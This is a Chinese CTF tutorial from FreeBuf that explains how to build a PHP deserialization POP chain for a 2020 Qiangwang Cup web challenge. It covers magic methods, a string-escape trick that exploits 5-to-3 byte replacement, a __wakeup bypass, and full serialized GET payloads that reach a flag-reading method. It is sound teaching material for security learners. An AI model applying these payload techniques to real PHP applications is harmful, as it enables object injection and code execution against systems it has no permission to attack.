freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一题教你学会构造PHP反序列化POP链
2020-08-26 10:58:40

PHP反序列化一直是各大CTF赛事中Web类型题目的热点,隐藏颇深的POP链和逐渐沦为签到反序列化题也一直是我等只配打强网先锋菜鸡的心头痛点。对于初入门CTF的朋友们,反序列化可能是一个学习的难点,下面通过刚刚结束的2020强网杯的一题给大家理清PHP反序列化常见的POP链构造。

一、魔法函数

在构造POP链之前,首先了解一下常见的PHP魔法函数,这也是构造POP的关键。

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

二、2020强网“web辅助”题目

POP链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后进行反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的POP链就显而易见了。CTF赛中一般尾部就是get flag的方法,头部则是GET/POST传参。下面通过题目详细的展现POP链构造的过程。首先上源码:

class.php

1598409512.png!small

1598409530.png!small

common.php

1598409550.png!small

index.php

1598409568.png!small

play.php

1598409582.png!small

三、寻找POP链

这个题目直接给出了4个PHP页面源码,我在源码的基础上加了一些注释方便后续构造POP链时理解和查找。大致阅读代码后可以看出,需要我们通过GET方式传入username和password参数来最终执行cat flag,那么头和尾就确定了,下面就是构造POP链的过程。

  1. 要获取flag,得执行类jungle对象里的KS方法,要执行KS方法,需要触发类jungle对象里__toString(),需要把类当作字符串调用;
  2. midsolo类里的Gank方法可以实现字符串调用,所以类midsolo对象里的$name是类jungle的对象;调用Gank方法,得触发__invoke(),这样就得让对象作为函数调用,即类topsolo里的TP方法,所以类topsolo对象里的$name是midsolo类的对象;
  3. 要调用TP方法,得创建一个topsolo类对象,在销毁时就会调用,但代码没有可以直接创建topsolo类对象。
  4. 代码能通过传入的username和password参数构造类player对象。

至此,大致的POP链已经初现雏形了,但中间出现了断层,怎么从类player到类topsolo呢,我们再看其他的代码。

common.php里有两个关键方法,read方法可以将5字节转3字节,write方法可以将3字节转5字节。是不是很熟悉,这不就是典型的想要溢出的操作。从index.php和play.php可以看出整个代码流程可简化为:

$player = new player($username, $password);

$player = unserialize(read(check(write(serialize($player))));

print_r($player);

那么思路就清晰了,我们通过构造类player的参数代入程序后能够构造出一个类topsolo对象来,利用的点就是read函数,通过5字节转3字节,造成反序列化时吞噬掉后面的特定长度序列化字符从而会构建出一个新的序列化字符串,此时新的序列化字符串内就包含了类topsolo等对象。所以,利用类player对象,将成员变量username赋值成 \0*\0……的形式,通过read函数覆盖掉成员变量password序列化值来构造一个新的password序列化值。

四、构造POP链payload

首先本地写一个构造序列化的php代码:test.php

1598409698.png!small

得到:

O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;}

这里加粗部分是我们想要程序最终反序化执行的对象里password部分,但需要进行改造,首先类midsolo里有__wakeup(),会在反序列化时触发导致更改成员变量name的值,所以修改对象属性个数来绕过,又因为所有的类都是私有成员变量且check方法不允许出现字符串name,所以用十六进制的\00、大写S和\6eame进行绕过,同时要加粗部分开头加一个"弥补要被吞噬的"字符,最后改造得到:

";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}

下面确定username参数,首先在play.php添加如下代码方便对比

print_r(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])));

echo "<br>";

print_r(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))));

echo "<br>";

print_r(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));

echo "<br>";

首先构造测试payload:

?username=\0*\0&password=";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}

访问play.php可看到:

O:6:"player":3:{s:7:"*user";s:5:"*";s:7:"*pass";s:171:"";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}

其中加粗部分就是需要吞噬掉的部分,一共23个字符。因为5字节转3字节导致吞噬的字符只能是2的倍数,所以在粗体后面多增加一个任意字符组成24个字符。得出需要username输入12个“\0*\0”,password部分为:

2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}

所以,最终payload为:

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}

这样传入参数后read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))输出的值如下:

O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}

在index.php页面传参后即可访问play.php获取flag

1598410046.png!small

五、小结 

此题基本涵盖了PHP反序列化常见的大多数考点,整体POP链构造不难,初次练习需要细心寻找每个类之间可以相互调用的方法,多次练习便能得心应手快速找到隐藏的POP链。文中可能存在一些不严谨的口述,还请大佬们见谅。

本文作者:中国电信安全帮攻防团队王玉琪、张道全

# 安全帮
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者